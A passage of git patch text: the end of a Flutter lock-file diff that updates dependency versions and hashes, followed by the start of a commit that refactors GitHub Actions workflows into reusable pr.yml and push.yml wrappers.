         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.0"
+      "version": "2.4.1"
     },
     "path_provider_linux": {
       "dependency": "transitive",
@@ -1654,51 +1665,51 @@
       "dependency": "direct main",
       "description": {
         "name": "permission_handler",
-        "sha256": "18bf33f7fefbd812f37e72091a15575e72d5318854877e0e4035a24ac1113ecb",
+        "sha256": "59adad729136f01ea9e35a48f5d1395e25cba6cea552249ddbe9cf950f5d7849",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "11.3.1"
+      "version": "11.4.0"
     },
     "permission_handler_android": {
       "dependency": "transitive",
       "description": {
         "name": "permission_handler_android",
-        "sha256": "76e4ab092c1b240d31177bb64d2b0bea43f43d0e23541ec866151b9f7b2490fa",
+        "sha256": "d3971dcdd76182a0c198c096b5db2f0884b0d4196723d21a866fc4cdea057ebc",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "12.0.12"
+      "version": "12.1.0"
     },
     "permission_handler_apple": {
       "dependency": "transitive",
       "description": {
         "name": "permission_handler_apple",
-        "sha256": "e6f6d73b12438ef13e648c4ae56bd106ec60d17e90a59c4545db6781229082a0",
+        "sha256": "f000131e755c54cf4d84a5d8bd6e4149e262cc31c5a8b1d698de1ac85fa41023",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "9.4.5"
+      "version": "9.4.7"
     },
     "permission_handler_html": {
       "dependency": "transitive",
       "description": {
         "name": "permission_handler_html",
-        "sha256": "af26edbbb1f2674af65a8f4b56e1a6f526156bc273d0e65dd8075fab51c78851",
+        "sha256": "38f000e83355abb3392140f6bc3030660cfaef189e1f87824facb76300b4ff24",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.1.3+2"
+      "version": "0.1.3+5"
     },
     "permission_handler_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "permission_handler_platform_interface",
-        "sha256": "e9c8eadee926c4532d0305dff94b85bf961f16759c3af791486613152af4b4f9",
+        "sha256": "eb99b295153abce5d683cac8c02e22faab63e50679b937fa1bf67d58bb282878",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "4.2.3"
+      "version": "4.3.0"
     },
     "permission_handler_windows": {
       "dependency": "transitive",
@@ -1714,11 +1725,11 @@
       "dependency": "transitive",
       "description": {
         "name": "petitparser",
-        "sha256": "c15605cd28af66339f8eb6fbe0e541bfe2d1b72d5825efc6598f3e0a31b9ad27",
+        "sha256": "07c8f0b1913bcde1ff0d26e57ace2f3012ccbf2b204e070290dad3bb22797646",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.0.2"
+      "version": "6.1.0"
     },
     "platform": {
       "dependency": "transitive",
@@ -1730,16 +1741,6 @@
       "source": "hosted",
       "version": "3.1.6"
     },
-    "platform_detect": {
-      "dependency": "transitive",
-      "description": {
-        "name": "platform_detect",
-        "sha256": "a62f99417fc4fa2d099ce0ccdbb1bd3977920f2a64292c326271f049d4bc3a4f",
-        "url": "https://pub.dev"
-      },
-      "source": "hosted",
-      "version": "2.1.0"
-    },
     "plugin_platform_interface": {
       "dependency": "transitive",
       "description": {
@@ -1814,11 +1815,11 @@
       "dependency": "direct main",
       "description": {
         "name": "pretty_qr_code",
-        "sha256": "cbdb4af29da1c1fa21dd76f809646c591320ab9e435d3b0eab867492d43607d5",
+        "sha256": "b078bd5d51956dea4342378af1b092ad962b81bdbb55b10fffce03461da8db74",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.3.0"
+      "version": "3.4.0"
     },
     "process": {
       "dependency": "transitive",
@@ -1844,31 +1845,31 @@
       "dependency": "direct main",
       "description": {
         "name": "provider",
-        "sha256": "c8a055ee5ce3fd98d6fc872478b03823ffdb448699c6ebdbbc71d59b596fd48c",
+        "sha256": "4abbd070a04e9ddc287673bf5a030c7ca8b685ff70218720abab8b092f53dd84",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "6.1.2"
+      "version": "6.1.5"
     },
     "pub_semver": {
       "dependency": "transitive",
       "description": {
         "name": "pub_semver",
-        "sha256": "40d3ab1bbd474c4c2328c91e3a7df8c6dd629b79ece4c4bd04bee496a224fb0c",
+        "sha256": "5bfcf68ca79ef689f8990d1160781b4bad40a3bd5e5218ad4076ddb7f4081585",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.1.4"
+      "version": "2.2.0"
     },
     "pubspec_parse": {
       "dependency": "transitive",
       "description": {
         "name": "pubspec_parse",
-        "sha256": "c799b721d79eb6ee6fa56f00c04b472dcd44a30d258fac2174a6ec57302678f8",
+        "sha256": "0560ba233314abbed0a48a2956f7f022cce7c3e1e73df540277da7544cad4082",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.0"
+      "version": "1.5.0"
     },
     "punycode": {
       "dependency": "direct main",
@@ -1934,71 +1935,81 @@
       "dependency": "direct main",
       "description": {
         "name": "record",
-        "sha256": "4a5cf4d083d1ee49e0878823c4397d073f8eb0a775f31215d388e2bc47a9e867",
+        "sha256": "daeb3f9b3fea9797094433fe6e49a879d8e4ca4207740bc6dc7e4a58764f0817",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "5.1.2"
+      "version": "6.0.0"
     },
     "record_android": {
       "dependency": "transitive",
       "description": {
         "name": "record_android",
-        "sha256": "d7af0b3119725a0f561817c72b5f5eca4d7a76d441deef519ae04e4824c0734c",
+        "sha256": "97d7122455f30de89a01c6c244c839085be6b12abca251fc0e78f67fed73628b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.6"
+      "version": "1.3.3"
     },
-    "record_darwin": {
+    "record_ios": {
       "dependency": "transitive",
       "description": {
-        "name": "record_darwin",
-        "sha256": "fe90d302acb1f3cee1ade5df9c150ca5cee33b48d8cdf1cf433bf577d7f00134",
+        "name": "record_ios",
+        "sha256": "73706ebbece6150654c9d6f57897cf9b622c581148304132ba85dba15df0fdfb",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.2"
+      "version": "1.0.0"
     },
     "record_linux": {
       "dependency": "transitive",
       "description": {
         "name": "record_linux",
-        "sha256": "74d41a9ebb1eb498a38e9a813dd524e8f0b4fdd627270bda9756f437b110a3e3",
+        "sha256": "fcb5964a84292813de70d52253663c1caca00a15f849fb5d0fdf9b929b28a7b9",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.7.2"
+      "version": "1.0.0"
+    },
+    "record_macos": {
+      "dependency": "transitive",
+      "description": {
+        "name": "record_macos",
+        "sha256": "02240833fde16c33fcf2c589f3e08d4394b704761b4a3bb609d872ff3043fbbd",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "1.0.0"
     },
     "record_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "record_platform_interface",
-        "sha256": "11f8b03ea8a0e279b0e306571dbe0db0202c0b8e866495c9fa1ad2281d5e4c15",
+        "sha256": "8a575828733d4c3cb5983c914696f40db8667eab3538d4c41c50cbb79e722ef4",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.2.0"
     },
     "record_web": {
       "dependency": "transitive",
       "description": {
         "name": "record_web",
-        "sha256": "656b7a865f90651fab997c2a563364f5fd60a0b527d5dadbb915d62d84fc3867",
+        "sha256": "654c08113961051dcb5427e63f56315ba47c0752781ba990dac9313d0ec23c70",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.3"
+      "version": "1.1.6"
     },
     "record_windows": {
       "dependency": "transitive",
       "description": {
         "name": "record_windows",
-        "sha256": "e653555aa3fda168aded7c34e11bd82baf0c6ac84e7624553def3c77ffefd36f",
+        "sha256": "85a22fc97f6d73ecd67c8ba5f2f472b74ef1d906f795b7970f771a0914167e99",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.0.3"
+      "version": "1.0.6"
     },
     "retry": {
       "dependency": "transitive",
@@ -2054,51 +2065,51 @@
       "dependency": "direct main",
       "description": {
         "name": "share_plus",
-        "sha256": "468c43f285207c84bcabf5737f33b914ceb8eb38398b91e5e3ad1698d1b72a52",
+        "sha256": "fce43200aa03ea87b91ce4c3ac79f0cecd52e2a7a56c7a4185023c271fbfa6da",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "10.0.2"
+      "version": "10.1.4"
     },
     "share_plus_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "share_plus_platform_interface",
-        "sha256": "6ababf341050edff57da8b6990f11f4e99eaba837865e2e6defe16d039619db5",
+        "sha256": "cc012a23fc2d479854e6c80150696c4a5f5bb62cb89af4de1c505cf78d0a5d0b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "5.0.0"
+      "version": "5.0.2"
     },
     "shared_preferences": {
       "dependency": "direct main",
       "description": {
         "name": "shared_preferences",
-        "sha256": "746e5369a43170c25816cc472ee016d3a66bc13fcf430c0bc41ad7b4b2922051",
+        "sha256": "6e8bf70b7fef813df4e9a36f658ac46d107db4b4cfe1048b477d4e453a8159f5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.2"
+      "version": "2.5.3"
     },
     "shared_preferences_android": {
       "dependency": "transitive",
       "description": {
         "name": "shared_preferences_android",
-        "sha256": "3b9febd815c9ca29c9e3520d50ec32f49157711e143b7a4ca039eb87e8ade5ab",
+        "sha256": "20cbd561f743a342c76c151d6ddb93a9ce6005751e7aa458baad3858bfbfb6ac",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.3"
+      "version": "2.4.10"
     },
     "shared_preferences_foundation": {
       "dependency": "transitive",
       "description": {
         "name": "shared_preferences_foundation",
-        "sha256": "07e050c7cd39bad516f8d64c455f04508d09df104be326d8c02551590a0d513d",
+        "sha256": "6a52cfcdaeac77cad8c97b539ff688ccfc458c007b4db12be584fbe5c0e49e03",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.5.3"
+      "version": "2.5.4"
     },
     "shared_preferences_linux": {
       "dependency": "transitive",
@@ -2124,11 +2135,11 @@
       "dependency": "transitive",
       "description": {
         "name": "shared_preferences_web",
-        "sha256": "d2ca4132d3946fec2184261726b355836a82c33d7d5b67af32692aff18a4684e",
+        "sha256": "c49bd060261c9a3f0ff445892695d6212ff603ef3115edbb448509d407600019",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.2"
+      "version": "2.4.3"
     },
     "shared_preferences_windows": {
       "dependency": "transitive",
@@ -2144,11 +2155,11 @@
       "dependency": "transitive",
       "description": {
         "name": "shelf",
-        "sha256": "ad29c505aee705f41a4d8963641f91ac4cee3c8fad5947e033390a7bd8180fa4",
+        "sha256": "e7dd780a7ffb623c57850b33f43309312fc863fb6aa3d276a754bb299839ef12",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.4.1"
+      "version": "1.4.2"
     },
     "shelf_packages_handler": {
       "dependency": "transitive",
@@ -2174,11 +2185,11 @@
       "dependency": "transitive",
       "description": {
         "name": "shelf_web_socket",
-        "sha256": "073c147238594ecd0d193f3456a5fe91c4b0abbcc68bf5cd95b36c4e194ac611",
+        "sha256": "3632775c8e90d6c9712f883e633716432a27758216dfb61bd86a8321c0580925",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.0.0"
+      "version": "3.0.0"
     },
     "sky_engine": {
       "dependency": "transitive",
@@ -2210,11 +2221,11 @@
       "dependency": "transitive",
       "description": {
         "name": "source_maps",
-        "sha256": "708b3f6b97248e5781f493b765c3337db11c5d2c81c3094f10904bfa8004c703",
+        "sha256": "190222579a448b03896e0ca6eca5998fa810fda630c1d65e2f78b3f638f54812",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.10.12"
+      "version": "0.10.13"
     },
     "source_span": {
       "dependency": "transitive",
@@ -2240,51 +2251,81 @@
       "dependency": "transitive",
       "description": {
         "name": "sqflite",
-        "sha256": "ff5a2436ef8ebdfda748fbfe957f9981524cb5ff11e7bafa8c42771840e8a788",
+        "sha256": "e2297b1da52f127bc7a3da11439985d9b536f75070f3325e62ada69a5c585d03",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.3+2"
+      "version": "2.4.2"
+    },
+    "sqflite_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "sqflite_android",
+        "sha256": "2b3070c5fa881839f8b402ee4a39c1b4d561704d4ebbbcfb808a119bc2a1701b",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.1"
     },
     "sqflite_common": {
       "dependency": "transitive",
       "description": {
         "name": "sqflite_common",
-        "sha256": "2d8e607db72e9cb7748c9c6e739e2c9618320a5517de693d5a24609c4671b1a4",
+        "sha256": "84731e8bfd8303a3389903e01fb2141b6e59b5973cacbb0929021df08dddbe8b",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.5.4+4"
+      "version": "2.5.5"
     },
     "sqflite_common_ffi": {
       "dependency": "direct main",
       "description": {
         "name": "sqflite_common_ffi",
-        "sha256": "a6057d4c87e9260ba1ec436ebac24760a110589b9c0a859e128842eb69a7ef04",
+        "sha256": "1f3ef3888d3bfbb47785cc1dda0dc7dd7ebd8c1955d32a9e8e9dae1e38d1c4c1",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.3+1"
+      "version": "2.3.5"
+    },
+    "sqflite_darwin": {
+      "dependency": "transitive",
+      "description": {
+        "name": "sqflite_darwin",
+        "sha256": "279832e5cde3fe99e8571879498c9211f3ca6391b0d818df4e17d9fff5c6ccb3",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.2"
+    },
+    "sqflite_platform_interface": {
+      "dependency": "transitive",
+      "description": {
+        "name": "sqflite_platform_interface",
+        "sha256": "8dd4515c7bdcae0a785b0062859336de775e8c65db81ae33dd5445f35be61920",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "2.4.0"
     },
     "sqlcipher_flutter_libs": {
       "dependency": "direct main",
       "description": {
         "name": "sqlcipher_flutter_libs",
-        "sha256": "a6a08d3082c1deaacc8f6670c78a9c2384991102db5b234d5293aa2c65e87f61",
+        "sha256": "777c3469ada8fe6b808bd50f1c752cdd2ca1b1f3cf751d434502ead15334f3a5",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.6.4"
+      "version": "0.6.6"
     },
     "sqlite3": {
       "dependency": "transitive",
       "description": {
         "name": "sqlite3",
-        "sha256": "45f168ae2213201b54e09429ed0c593dc2c88c924a1488d6f9c523a255d567cb",
+        "sha256": "310af39c40dd0bb2058538333c9d9840a2725ae0b9f77e4fd09ad6696aa8f66e",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.4.6"
+      "version": "2.7.5"
     },
     "stack_trace": {
       "dependency": "transitive",
@@ -2350,11 +2391,11 @@
       "dependency": "transitive",
       "description": {
         "name": "synchronized",
-        "sha256": "69fe30f3a8b04a0be0c15ae6490fc859a78ef4c43ae2dd5e8a623d45bfcf9225",
+        "sha256": "0669c70faae6270521ee4f05bffd2919892d42d1276e6c495be80174b6bc0ef6",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.3.0+3"
+      "version": "3.3.1"
     },
     "tar": {
       "dependency": "transitive",
@@ -2450,11 +2491,11 @@
       "dependency": "transitive",
       "description": {
         "name": "typed_data",
-        "sha256": "facc8d6582f16042dd49f2463ff1bd6e2c9ef9f3d5da3d9b087e244a7b564b3c",
+        "sha256": "f9049c039ebfeb4cf7a7104a675823cd72dba8297f264b6637062516699fa006",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.3.2"
+      "version": "1.4.0"
     },
     "unicode": {
       "dependency": "transitive",
@@ -2540,51 +2581,51 @@
       "dependency": "direct main",
       "description": {
         "name": "url_launcher",
-        "sha256": "21b704ce5fa560ea9f3b525b43601c678728ba46725bab9b01187b4831377ed3",
-        "url": "https://pub.dev"
-      },
-      "source": "hosted",
-      "version": "6.3.0"
-    },
-    "url_launcher_android": {
-      "dependency": "transitive",
-      "description": {
-        "name": "url_launcher_android",
-        "sha256": "8fc3bae0b68c02c47c5c86fa8bfa74471d42687b0eded01b78de87872db745e2",
-        "url": "https://pub.dev"
-      },
-      "source": "hosted",
-      "version": "6.3.12"
-    },
-    "url_launcher_ios": {
-      "dependency": "transitive",
-      "description": {
-        "name": "url_launcher_ios",
-        "sha256": "e43b677296fadce447e987a2f519dcf5f6d1e527dc35d01ffab4fff5b8a7063e",
+        "sha256": "9d06212b1362abc2f0f0d78e6f09f726608c74e3b9462e8368bb03314aa8d603",
         "url": "https://pub.dev"
       },
       "source": "hosted",
       "version": "6.3.1"
     },
+    "url_launcher_android": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_android",
+        "sha256": "8582d7f6fe14d2652b4c45c9b6c14c0b678c2af2d083a11b604caeba51930d79",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.3.16"
+    },
+    "url_launcher_ios": {
+      "dependency": "transitive",
+      "description": {
+        "name": "url_launcher_ios",
+        "sha256": "7f2022359d4c099eea7df3fdf739f7d3d3b9faf3166fb1dd390775176e0b76cb",
+        "url": "https://pub.dev"
+      },
+      "source": "hosted",
+      "version": "6.3.3"
+    },
     "url_launcher_linux": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_linux",
-        "sha256": "e2b9622b4007f97f504cd64c0128309dfb978ae66adbe944125ed9e1750f06af",
+        "sha256": "4e9ba368772369e3e08f231d2301b4ef72b9ff87c31192ef471b380ef29a4935",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.2.0"
+      "version": "3.2.1"
     },
     "url_launcher_macos": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_macos",
-        "sha256": "769549c999acdb42b8bcfa7c43d72bf79a382ca7441ab18a808e101149daf672",
+        "sha256": "17ba2000b847f334f16626a574c702b196723af2a289e7a93ffcb79acff855c2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.2.1"
+      "version": "3.2.2"
     },
     "url_launcher_platform_interface": {
       "dependency": "transitive",
@@ -2600,21 +2641,21 @@
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_web",
-        "sha256": "772638d3b34c779ede05ba3d38af34657a05ac55b06279ea6edd409e323dca8e",
+        "sha256": "4bd2b7b4dc4d4d0b94e5babfffbca8eac1a126c7f3d6ecbc1a11013faa3abba2",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.3"
+      "version": "2.4.1"
     },
     "url_launcher_windows": {
       "dependency": "transitive",
       "description": {
         "name": "url_launcher_windows",
-        "sha256": "49c10f879746271804767cb45551ec5592cdab00ee105c06dddde1a98f73b185",
+        "sha256": "3284b6d2ac454cf34f114e1d3319866fdd1e19cdc329999057e44ffe936cfa77",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.2"
+      "version": "3.1.4"
     },
     "uuid": {
       "dependency": "transitive",
@@ -2660,21 +2701,21 @@
       "dependency": "transitive",
       "description": {
         "name": "video_player_android",
-        "sha256": "ae7d4f1b41e3ac6d24dd9b9d5d6831b52d74a61bdd90a7a6262a33d8bb97c29a",
+        "sha256": "28dcc4122079f40f93a0965b3679aff1a5f4251cf79611bd8011f937eb6b69de",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.8.2"
+      "version": "2.8.4"
     },
     "video_player_avfoundation": {
       "dependency": "transitive",
       "description": {
         "name": "video_player_avfoundation",
-        "sha256": "84b4752745eeccb6e75865c9aab39b3d28eb27ba5726d352d45db8297fbd75bc",
+        "sha256": "9ee764e5cd2fc1e10911ae8ad588e1a19db3b6aa9a6eb53c127c42d3a3c3f22f",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.7.0"
+      "version": "2.7.1"
     },
     "video_player_platform_interface": {
       "dependency": "transitive",
@@ -2690,91 +2731,91 @@
       "dependency": "transitive",
       "description": {
         "name": "video_player_web",
-        "sha256": "3ef40ea6d72434edbfdba4624b90fd3a80a0740d260667d91e7ecd2d79e13476",
+        "sha256": "e8bba2e5d1e159d5048c9a491bb2a7b29c535c612bb7d10c1e21107f5bd365ba",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "2.3.4"
+      "version": "2.3.5"
     },
     "vm_service": {
       "dependency": "transitive",
       "description": {
         "name": "vm_service",
-        "sha256": "0968250880a6c5fe7edc067ed0a13d4bae1577fe2771dcf3010d52c4a9d3ca14",
+        "sha256": "ddfa8d30d89985b96407efce8acbdd124701f96741f2d981ca860662f1c0dc02",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "14.3.1"
+      "version": "15.0.0"
     },
     "wakelock_plus": {
       "dependency": "direct main",
       "description": {
         "name": "wakelock_plus",
-        "sha256": "b90fbcc8d7bdf3b883ea9706d9d76b9978cb1dfa4351fcc8014d6ec31a493354",
+        "sha256": "a474e314c3e8fb5adef1f9ae2d247e57467ad557fa7483a2b895bc1b421c5678",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.11"
+      "version": "1.3.2"
     },
     "wakelock_plus_platform_interface": {
       "dependency": "transitive",
       "description": {
         "name": "wakelock_plus_platform_interface",
-        "sha256": "70e780bc99796e1db82fe764b1e7dcb89a86f1e5b3afb1db354de50f2e41eb7a",
+        "sha256": "e10444072e50dbc4999d7316fd303f7ea53d31c824aa5eb05d7ccbdd98985207",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.2"
+      "version": "1.2.3"
     },
     "watcher": {
       "dependency": "transitive",
       "description": {
         "name": "watcher",
-        "sha256": "3d2ad6751b3c16cf07c7fca317a1413b3f26530319181b37e3b9039b84fc01d8",
+        "sha256": "69da27e49efa56a15f8afe8f4438c4ec02eff0a117df1b22ea4aad194fe1c104",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.1.1"
     },
     "web": {
       "dependency": "transitive",
       "description": {
         "name": "web",
-        "sha256": "cd3543bd5798f6ad290ea73d210f423502e71900302dde696f8bff84bf89a1cb",
+        "sha256": "868d88a33d8a87b18ffc05f9f030ba328ffefba92d6c127917a2ba740f9cfe4a",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.1.0"
+      "version": "1.1.1"
     },
     "web_socket": {
       "dependency": "transitive",
       "description": {
         "name": "web_socket",
-        "sha256": "3c12d96c0c9a4eec095246debcea7b86c0324f22df69893d538fcc6f1b8cce83",
+        "sha256": "34d64019aa8e36bf9842ac014bb5d2f5586ca73df5e4d9bf5c936975cae6982c",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "0.1.6"
+      "version": "1.0.1"
     },
     "web_socket_channel": {
       "dependency": "transitive",
       "description": {
         "name": "web_socket_channel",
-        "sha256": "9f187088ed104edd8662ca07af4b124465893caf063ba29758f97af57e61da8f",
+        "sha256": "d645757fb0f4773d602444000a8131ff5d48c9e47adfe9772652dd1a4f2d45c8",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.1"
+      "version": "3.0.3"
     },
     "webdriver": {
       "dependency": "transitive",
       "description": {
         "name": "webdriver",
-        "sha256": "3d773670966f02a646319410766d3b5e1037efb7f07cc68f844d5e06cd4d61c8",
+        "sha256": "2f3a14ca026957870cfd9c635b83507e0e51d8091568e90129fbf805aba7cade",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.0.4"
+      "version": "3.1.0"
     },
     "webkit_inspection_protocol": {
       "dependency": "transitive",
@@ -2790,11 +2831,11 @@
       "dependency": "direct main",
       "description": {
         "name": "webrtc_interface",
-        "sha256": "e92afec11152a9ccb5c9f35482754edd99696e886ab6acaf90c06dd2d09f09eb",
+        "sha256": "86fe3afc81a08481dfb25cf14a5a94e27062ecef25544783f352c914e0bbc1ca",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "1.2.2+hotfix.1"
+      "version": "1.2.2+hotfix.2"
     },
     "win32": {
       "dependency": "direct overridden",
@@ -2860,15 +2901,15 @@
       "dependency": "transitive",
       "description": {
         "name": "yaml",
-        "sha256": "75769501ea3489fca56601ff33454fe45507ea3bfb014161abc3b43ae25989d5",
+        "sha256": "b9da305ac7c39faa3f030eccd175340f968459dae4af175130b3fc47e40d76ce",
         "url": "https://pub.dev"
       },
       "source": "hosted",
-      "version": "3.1.2"
+      "version": "3.1.3"
     }
   },
   "sdks": {
-    "dart": ">=3.7.0-0 <4.0.0",
+    "dart": ">=3.7.0 <4.0.0",
     "flutter": ">=3.27.0"
   }
 }

From 9eb06853d981ebf4758bf9528295b71ebdc7f2d5 Mon Sep 17 00:00:00 2001
From: Wolfgang Walther <walther@technowledgy.de>
Date: Sun, 8 Jun 2025 12:12:06 +0200
Subject: [PATCH 1203/4511] workflows/{pr,push}: init

Those two workflows bundle all the main jobs in two event-specific
wrapper workflows. This enables us to do two things later on:
- Synchronize the merge commits between most of the jobs run in a PR.
- Create a single "required" job to be targeted by GitHub's "required
status checks to pass" feature.

(cherry picked from commit 959eed1f2ac3a848dfeefe7dbbde869ddef53b53)
---
 .github/workflows/README.md     |  2 +-
 .github/workflows/build.yml     | 12 +++------
 .github/workflows/check.yml     |  9 +------
 .github/workflows/eval.yml      | 29 ++++++--------------
 .github/workflows/labels.yml    |  2 +-
 .github/workflows/lint.yml      |  9 +------
 .github/workflows/pr.yml        | 47 +++++++++++++++++++++++++++++++++
 .github/workflows/push.yml      | 29 ++++++++++++++++++++
 .github/workflows/reviewers.yml |  5 +++-
 9 files changed, 96 insertions(+), 48 deletions(-)
 create mode 100644 .github/workflows/pr.yml
 create mode 100644 .github/workflows/push.yml

diff --git a/.github/workflows/README.md b/.github/workflows/README.md
index 78303c2c64b8..e3be33ae6456 100644
--- a/.github/workflows/README.md
+++ b/.github/workflows/README.md
@@ -29,7 +29,7 @@ Thus, it is important how to construct the group keys:
 
 - We don't want workflows of different Pull Requests to cancel each other, so we include `github.event.pull_request.number`. The [GitHub docs](https://docs.github.com/en/actions/writing-workflows/choosing-what-your-workflow-does/control-the-concurrency-of-workflows-and-jobs#example-using-a-fallback-value) show using `github.head_ref` for this purpose, but this doesn't work well with forks: Different users could have the same head branch name in their forks and run CI for their PRs at the same time.
 
-- Sometimes, there is no `pull_request.number`. That's the case for `push` or `workflow_run` events. To ensure non-PR runs are never cancelled, we add a fallback of `github.run_id`. This is a unique value for each workflow run.
+- Sometimes, there is no `pull_request.number`. To ensure non-PR runs are never cancelled, we add a fallback of `github.run_id`. This is a unique value for each workflow run.
 
 - Of course, we run multiple workflows at the same time, so we add `github.workflow` to the key. Otherwise workflows would cancel each other.
 
diff --git a/.github/workflows/build.yml b/.github/workflows/build.yml
index a9efff4d4a8f..897bde43b645 100644
--- a/.github/workflows/build.yml
+++ b/.github/workflows/build.yml
@@ -1,14 +1,10 @@
 name: Build
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/build.yml
-  pull_request_target:
-
-concurrency:
-  group: build-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
+  workflow_call:
+    secrets:
+      CACHIX_AUTH_TOKEN:
+        required: true
 
 permissions: {}
 
diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml
index dfe5999df23f..966e0f5c0d52 100644
--- a/.github/workflows/check.yml
+++ b/.github/workflows/check.yml
@@ -1,14 +1,7 @@
 name: Check
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/check.yml
-  pull_request_target:
-
-concurrency:
-  group: check-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
+  workflow_call:
 
 permissions: {}
 
diff --git a/.github/workflows/eval.yml b/.github/workflows/eval.yml
index ea96f792c294..7edac16fe2c3 100644
--- a/.github/workflows/eval.yml
+++ b/.github/workflows/eval.yml
@@ -1,24 +1,10 @@
 name: Eval
 
 on:
-  pull_request:
-    paths:
-      - .github/workflows/eval.yml
-      - .github/workflows/reviewers.yml # needs eval results from the same event type
-  pull_request_target:
-  push:
-    # Keep this synced with ci/request-reviews/dev-branches.txt
-    branches:
-      - master
-      - staging
-      - release-*
-      - staging-*
-      - haskell-updates
-      - python-updates
-
-concurrency:
-  group: eval-${{ github.workflow }}-${{ github.event_name }}-${{ github.event.pull_request.number || github.run_id }}
-  cancel-in-progress: true
+  workflow_call:
+    secrets:
+      OWNER_APP_PRIVATE_KEY:
+        required: false
 
 permissions: {}
 
@@ -109,12 +95,12 @@ jobs:
               run_id = (await github.rest.actions.listWorkflowRuns({
                 owner: context.repo.owner,
                 repo: context.repo.repo,
-                workflow_id: 'eval.yml',
+                workflow_id: 'push.yml',
                 event: 'push',
                 head_sha: targetSha
               })).data.workflow_runs[0].id
             } catch {
-              throw new Error(`Could not find an eval.yml workflow run for ${targetSha}.`)
+              throw new Error(`Could not find an push.yml workflow run for ${targetSha}.`)
             }
 
             core.setOutput('targetRunId', run_id)
@@ -265,4 +251,5 @@ jobs:
     needs: [prepare, outpaths]
     if: needs.prepare.outputs.targetSha
     uses: ./.github/workflows/reviewers.yml
-    secrets: inherit
+    secrets:
+      OWNER_APP_PRIVATE_KEY: ${{ secrets.OWNER_APP_PRIVATE_KEY }}
diff --git a/.github/workflows/labels.yml b/.github/workflows/labels.yml
index 6f31c58e951e..0beb1296f518 100644
--- a/.github/workflows/labels.yml
+++ b/.github/workflows/labels.yml
@@ -147,7 +147,7 @@ jobs:
 
                   const run_id = (await github.rest.actions.listWorkflowRuns({
                     ...context.repo,
-                    workflow_id: 'eval.yml',
+                    workflow_id: 'pr.yml',
